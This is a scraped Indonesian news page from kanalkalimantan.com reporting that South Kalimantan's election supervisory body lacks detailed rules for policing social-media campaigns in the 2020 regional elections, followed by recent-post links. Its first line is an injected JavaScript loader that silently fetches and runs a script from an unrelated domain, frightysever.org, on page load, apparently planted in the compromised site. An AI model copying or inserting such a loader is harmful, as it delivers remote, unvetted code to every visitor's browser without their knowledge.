(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Kampanye Paslon Gencar Via Medsos, Bawaslu Kalsel Belum Punya Rincian Aturan


KANALKALIMANTAN.COM, BANJARMASIN – Masa kampanye Pilkada di Kalsel sudah berjalan, selama 71 hari sejak Sabtu (26/9/2020) kemarin. Salah satu cara yang digunakan oleh pasangan calon (paslon) baik di Pilgub Kalsel maupun Pilbup dan Pilwali adalah kampanye melalui media sosial (medsos).

Lantas, bagaimana mekanisme pengawasan kampanye melalui medsos?

Ditemui pada Senin (28/9/2020) siang, Koordinator Divisi Hukum, Humas dan Hubal Bawaslu Provinsi Kalsel Nur Kholis Majid mengatakan, jika ingin berkampanye di medsos, maka harus mendaftarkan akun dan jadwal kampanye kepada KPU Provinsi Kalsel. Sehingga, memudahkan Bawaslu Provinsi Kalsel melakukan pengawasan kampanye melalui media sosial.

“Kita akan lakukan kajian lebih mendalam bagaimana proses itu sendiri. Karena memang dari Peraturan Bawaslu sendiri terhadap kampanye di medsos belum dirincikan. Sehingga, langkah strategisnya yaitu melakukan pemetaan terlebih dahulu apabila ini terjadi (pelanggaran kampanye di medsos),” kata Majid, Senin (28/9/2020).

Jika akun yang digunakan untuk kampanye di medsos terdaftar dan bersifat publik (tidak dalam keadaan privat), maka Bawaslu akan mudah masuk untuk melakukan tracking. Ini berbeda jika akun yang digunakan adalah akun pribadi, maka Bawaslu akan mengkaji apakah termasuk unsur pelanggaran atau tidak. Jika memang didapati ada dugaan pelanggaran kampanye di medsos.

“Jika konten kampanye mengandung unsur yang melanggar seperti merendahkan calon (kepala daerah) yang lain, akan kita telaah,” imbuhnya.

Diakuinya, untuk menghimpun bukti dugaan pelanggaran kampanye di medsos, akan lebih mudah jika ada tangkapan layar (screenshot) namun berbentuk video dengan menggunakan screen recorder.

Namun, akan menjadi tantangan jika akun pribadi di media sosial merupakan akun yang dikelola pribadi, seperti aparatur sipil negara (ASN). “Harus ada proses screening,” singkatnya.

Medsos sendiri, secara praktis akan digunakan oleh paslon sebagai sarana untuk berkampanye dengan efektif. “Kalau medsos Instagram lebih mudah, karena kita bisa lakukan tracking. Jika terbuka untuk umum,” tandas Majid. (kanalkalimantan.com/fikri)

Reporter: Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Wali Kota Aditya Bacakan SK Pelanggaran Kode Etik ASN Pemko Banjarbaru, Ini Tiga Nama Pelanggar

KANALKALIMANTAN.COM, BANJARBARU - Surat Keputusan (SK) terkait pelanggaran kode etik dijatuhkan kepada tiga orang Pegawai… Read More

1 jam ago

Dukung Pembangunan Keberlanjutan di Kalimantan, PLN Hadirkan 15 Program TJSL di Sepanjang 2024

KANALKALIMANTAN.COM, BANJARBARU - Di sepanjang tahun 2024, PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

2 jam ago

Ada Pekerjaan PAM Bandarmasih, Besok Distribusi Air Disetop

KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More

7 jam ago

Layaknya Pilkada, Pemilihan Ketua RT dan RW Serentak se Banjarbaru Digelar

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) tengah menggelar pemilihan ketua RT/RW serentak… Read More

8 jam ago

BPIH 2025 Resmi Turun Rp 4 Juta, Ini Komponen Utama Biaya Haji

KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More

10 jam ago

Tim Banjarbaru Hanyar Siap Hadapi Sidang Pertama Gugatan di MK

KANALKALIMANTAN.COM, JAKARTA – Tim Banjarbaru Hanyar (Haram Manyarah) untuk gugatan Pilkada Kota Banjarbaru akan menghadapi… Read More

10 jam ago

This website uses cookies.